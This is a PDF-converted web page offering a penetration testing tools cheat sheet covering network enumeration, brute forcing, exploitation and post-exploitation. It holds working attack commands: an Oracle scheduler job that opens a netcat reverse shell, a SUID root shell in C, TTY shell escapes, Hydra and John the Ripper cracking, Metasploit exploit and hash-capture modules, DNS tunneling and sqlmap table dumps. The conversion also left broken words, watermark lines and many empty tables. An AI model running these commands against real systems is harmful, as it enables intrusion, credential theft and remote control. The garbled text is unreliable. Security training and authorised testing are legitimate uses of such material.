Penetration Testing Tools Cheat Sheet
Penetration Testing Tools Cheat Sheet
All Blog
Penetration Testing Tools Cheat Sheet ∞ Cheat Sheets
Techniques
Security Hardening
CHEAT-SHEET 17 Feb 2017 Arr0way
WalkThroughs
Introduction
CHEAT SHEETS
Penetration testing tools cheat sheet, a quick reference high level Penetra on Tes ng Tools
overview for typical penetra on tes ng engagements. Designed as a Cheat Sheet
quick reference cheat sheet providing a high level overview of the LFI Cheat Sheet
Vi Cheat Sheet
typical commands you would run when performing a penetra on test.
Systemd Cheat Sheet
For more in depth informa on I’d recommend the man file for the tool or Reverse Shell Cheat
a more specific pen tes ng cheat sheet from the menu on the right. Sheet
nbtscan Cheat Sheet
The focus of this cheat sheet is infrastructure / network penetra on Nmap Cheat Sheet
tes ng, web applica on penetra on tes ng is not covered here apart Linux Commands Cheat
Sheet
from a few sqlmap commands at the end and some web server
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
enumera on. For Web Applica on Penetra on Tes ng, I highly More »
If I’m missing any pen tes ng tools here give me a nudge on twi er.
InsomniHack CTF Teaser
- Smartcat2 Writeup
Changelog InsomniHack CTF Teaser
- Smartcat1 Writeup
17/02/2017 - Ar cle updated, added loads more content, VPN, DNS Fris Leaks 1.3
tunneling, VLAN hopping etc - check out the TOC below. Walkthrough
SickOS 1.1 -
Walkthrough
Table of Contents
The Wall Boot2Root
Introduc on
Walkthrough
Changelog
More »
Pre-engagement
Network Configura on TECHNIQUES
Set IP Address
Subne ng SSH & Meterpreter
Pivo ng Techniques
OSINT
More »
Passive Informa on Gathering
DNS SECURITY HARDENING
WHOIS enumera on
Perform DNS IP Lookup Security Harden CentOS
Perform MX Record Lookup 7
More »
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Perform Zone Transfer with DIG /DEV/URANDOM
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Brute force oracle user accounts
MSSQL
Bruteforce MSSQL Login
Metasploit MSSQL Shell
Network
Plink.exe Tunnel
Pivo ng
SSH Pivo ng
Meterpreter Pivo ng
TTL Finger Prin ng
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
VLAN Hopping
BOF / Exploit
Exploit Research
Searching for Exploits
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Shell Shock reverse Shell
Username Enumera on
SMB User Enumera on
SNMP User Enumera on
Passwords
Wordlists
Brute Forcing Services
Hydra FTP Brute Force
Password Cracking
John The Ripper - JTR
Windows Penetra on Tes ng Commands
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
GCC Compile 32Bit Exploit on 64Bit Kali
Reverse Shells
TTY Shells
Python TTY Shell Trick
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Common Metasploit Modules
Remote Windows Metasploit Modules (exploits)
Cryptography
Hash Lengths
Hash Examples
SQLMap Examples
Pre-engagement
Network Con guration
Set IP Address
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Subnetting
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0
OSINT
Passive Information Gathering
DNS
WHOIS enumeration
whois domain-name-here.com
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
dig a domain-name-here.com @nameserver
nslookup -> set type=any -> ls -d blah.com Windows DNS zone transfer
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
dig axfr blah.com @ns1.blah.com Linux DNS zone transfer
Simply Email
Use Simply Email to enumerate all the online places (github, target site
etc), it works be er if you use proxies or set long thro le mes so google
doesn’t think you’re a robot and make you fill out a Captcha.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
COMMAND DESCRIPTION
nc -v 192.168.1.1 25
Basic versioning / finger prin ng via displayed banner
telnet 192.168.1.1 25
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>
DNS Bruteforce
DNSRecon
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
root:~#
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --
xml ouput.xml
Port Scanning
Nmap Commands
For more commands, see the Nmap cheat sheet (link in the menu on the
right).
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
As above but scans all TCP ports
nmap -v -sU -sS -p- -A -T4 target
and UDP scan (takes even longer)
I’ve had a few people men on about T4 scans, apply common sense
here. Don’t use T4 commands on external pen tests (when using an
Internet connec on), you’re probably be er off using a T2 with a TCP
connect scan. A T4 scan would likely be be er suited for an internal pen
test, over low latency links with plenty of bandwidth. But it all depends
on the target devices, embeded devices are going to struggle if you T4 /
T5 them and give inconclusive results. As a general rule of thumb, scan
as slowly as you can, or do a fast scan for the top 1000 so you can start
pen tes ng then kick off a slower scan.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nmap -sU TARGET
./udp-protocol-scanner.pl -f ip.txt
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Other Host Discovery
COMMAND DESCRIPTION
Samba Enumeration
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
COMMAND DESCRIPTION
smbclient -L //192.168.1.100
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Find open SMB Shares
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
RID Cycling:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Metasploit module for RID cycling:
use auxiliary/scanner/smb/smb_lookupsid
Windows:
Linux:
smbclient -L //192.168.99.131
NBTScan unixwiz
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Install on Kali rolling:
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm
You’ll end up with NTLMv2 hash, use john or hashcat to crack it.
Responder.py
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
A number of SNMP enumera on tools.
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Rory McCune’s snmpwalk wrapper script helps automate the username
enumera on process for SNMPv3:
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
R Services Enumeration
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nmap -A will perform all the rservices enumera on listed below, this
sec on has been added for completeness or manual confirma on:
RSH Enumeration
auxiliary/scanner/rservices/rsh_login
Finger Enumeration
finger @TARGET-IP
finger batman@TARGET-IP
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
finger 0@host
rwho
Test all the things on a single host and output to a .html file:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Vulnerability Assessment
Install OpenVAS 8 on Kali Rolling:
apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
netstat -tulpn
Oracle
Install oscanner:
Run oscanner:
Install tnscmd10g:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Fingerprint oracle tns:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Requirements:
In the example below the user SCOTT is used but this should be possible
with another default Oracle account.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
Login using the iden fied weak account (assuming you find one).
You should have a DBA user with creds user1 and pass1.
Verify you have DBA privileges by re-running the first command again.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
begin
dbms_scheduler.create_job( job_name => 'MEH1337',job_type =>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,sta
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell');
end;
MSSQL
Enumera on / Discovery:
Nmap:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Metasploit:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Network
Plink.exe Tunnel
Pivoting
SSH Pivoting
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
SSH pivo ng from one network to another:
Meterpreter Pivoting
Windows 128
Linux 64
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Solaris 255
Classful IP Ranges
CLASS RANGE
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Class A Private Address Range 10.0.0.0 - 10.255.255.255
127.0.0.0 - 127.255.255.255
Subnet cheat sheet, not really realted to pen tes ng but a useful
reference.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
/26 255.255.255.192 62 Hosts
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
/13 255.248.0.0 524286 Hosts
VLAN Hopping
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
VPN Pentesting Tools
IKEForce
Install:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
psk-crack hash-file.txt
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcde
psk-crack -d /path/to/dictionary-file TARGET-IP-key
PPTP Hacking
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
DNS Tunneling
Attacking Machine
Install on:
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
Run dnscat2:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
Target Machine:
h ps://downloads.skullsecurity.org/dnscat2/
h ps://github.com/lukebagge /dnscat2-powershell/
BOF / Exploit
Exploit Research
Find exploits for enumerated hosts / services.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
COMMAND DESCRIPTION
searchsploit –u
searchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
Exploiting Shellshock
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
A tool to find and exploit servers vulnerable to Shellshock:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Shell Shock reverse Shell
nc -l -p 443
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Mounting File Shares
How to mount NFS / CIFS, Windows and Linux file shares.
COMMAND DESCRIPTION
dirbuster Configure via GUI, CLI input doesn't work most of the me
Packet Inspection
COMMAND DESCRIPTION
Username Enumeration
Some techniques used to remotely enumerate users on a target system.
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
RID cycle SMB /
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt enumerate users from
SMB
COMMAND DESCRIPTION
Passwords
Wordlists
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Hydra SMTP
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V
brute force
Password Cracking
Password cracking penetra on tes ng tools.
COMMAND DESCRIPTION
JTR password
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
cracking
JTR forced
john --format=descrypt --wordlist
descrypt cracking
/usr/share/wordlists/rockyou.txt hash.txt
with wordlist
JTR forced
john --format=descrypt hash --show descrypt brute
force cracking
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Windows Penetration Testing Commands
Compiling Exploits
Some notes on compiling exploits.
COMMAND DESCRIPTION
Windows exploit
process.h, string.h, winbase.h, windows.h, winsock2.h
code
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
Linux exploit code
sys/sockt.h, sys/types.h, unistd.h
COMMAND DESCRIPTION
COMMAND DESCRIPTION
gcc -m32 exploit.c -o exploit Cross compile 32 bit binary on 64 bit Linux
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
COMMAND DESCRIPTION
Compile windows
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe
.exe on Linux
SUID Binary
O en SUID C binary files are required to spawn a shell as a superuser,
you can update the UID / GID and shell as required.
below are some quick copy and pate examples for various shells:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
For 32 bit:
Reverse Shells
See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.
TTY Shells
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for
running commands like su from reverse shells.
echo os.system('/bin/bash')
/bin/sh -i
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
exec "/bin/sh"
os.execute('/bin/sh')
:!bash
!sh
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Basic Metasploit commands, useful for reference, for pivo ng see -
Meterpreter Pivo ng techniques.
Meterpreter Payloads
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Meterpreter Cheat Sheet
Useful meterpreter commands.
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Meterpreter a empts to dump the
hashdump
hashes on the target
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
MS09_050 Windows Vista
use exploit/windows/smb/
SP1/SP2 and Server 2008 (x86)
ms09_050_smb2_negotiate_func_index
Remote Exploit
COMMAND DESCRIPTION
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
use auxiliary/scanner/oracle/oracle_login Metasploit Oracle Login Module
COMMAND DESCRIPTION
Metasploit powershell
use exploit/multi/script/web_delivery
payload delivery module
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Metasploit show privileges
run post/windows/gather/win_privs
of current user
ASCII CHARACTER
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
x00 Null Byte
x08 BS
x09 TAB
x0a LF
x0d CR
x1b ESC
x20 SPC
x21 !
x22 "
x23 #
x24 $
x25 %
x26 &
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
x27 `
x28 (
x29 )
x2a *
x2b +
x2c ,
x2d -
x2e .
x2f /
x30 0
x31 1
x32 2
x33 3
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
x34 4
x35 5
x36 6
x37 7
x38 8
x39 9
x3a :
x3b ;
x3c <
x3d =
x3e >
x3f ?
x40 @
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
x41 A
x42 B
x43 C
x44 D
x45 E
x46 F
x47 G
x48 H
x49 I
x4a J
x4b K
x4c L
x4d M
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
x4e N
x4f O
x50 P
x51 Q
x52 R
x53 S
x54 T
x55 U
x56 V
x57 W
x58 X
x59 Y
x5a Z
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
x5b [
x5c \
x5d ]
x5e ^
x5f _
x60 `
x61 a
x62 b
x63 c
x64 d
x65 e
x66 f
x67 g
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
x68 h
x69 i
x6a j
x6b k
x6c l
x6d m
x6e n
x6f o
x70 p
x71 q
x72 r
x73 s
x74 t
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
x75 u
x76 v
x77 w
x78 x
x79 y
x7a z
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
(config-if)# ip addr 0.0.0.0 255.255.255.255 Add ip to fa0/0
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
# dir file systems Show available files
Copy startup-config to
# copy running-config startup-config
running-config
Cryptography
Hash Lengths
HASH SIZE
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
SHA-256 Hash Length 32 Bytes
Hash Examples
Likely just use hash-identi er for this but here are some example
hashes:
HASH EXAMPLE
MD5 $PASS:$SALT
01dfae6e5d4d90d9892622325959afbe:7050461
Example
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
127e6fbfe24a750e72930c220a8e138275656b
SHA-256
8e5d8f48a98c3c92df2caba935
SHA-256 c73d08de890479518ed60cf670d17faa26a4a7
$PASS:$SALT 1f995c1dcc978165399401a6c4
SHA-256 eb368a2dfd38b405f014118c7d9747fcc97f4
$SALT:$PASS f0ee75c05963cd9da6ee65ef498:560407001617
82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
SHA-512
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
e5c3ede3e49fb86592fb03f471c35ba13e8
SHA-512 d89b8ab65142c9a8fdafb635fa2223c24e5
$PASS:$SALT 558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
976b451818634a1e2acba682da3fd6ef
SHA-512 a72adf8a7a08d7939550c244b237c72c7d4236754
$SALT:$PASS 4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
SQLMap Examples
A mini SQLMap cheat sheet:
COMMAND DESCRIPTION
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
sqlmap check
sqlmap -o -u "http://meh.com/form/" --forms form for
injec on
sqlmap dump
and crack
sqlmap -o -u "http://meh/vuln-form" --forms hashes for
-D database-name -T users --dump table users on
database-
name.
Follow Arr0way
Twi er GitHub
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Also...
kali linux HowTo: Kali Linux Chromium Install for Web App Pen Testing
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
walkthroughs /dev/random Pipe walkthrough
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD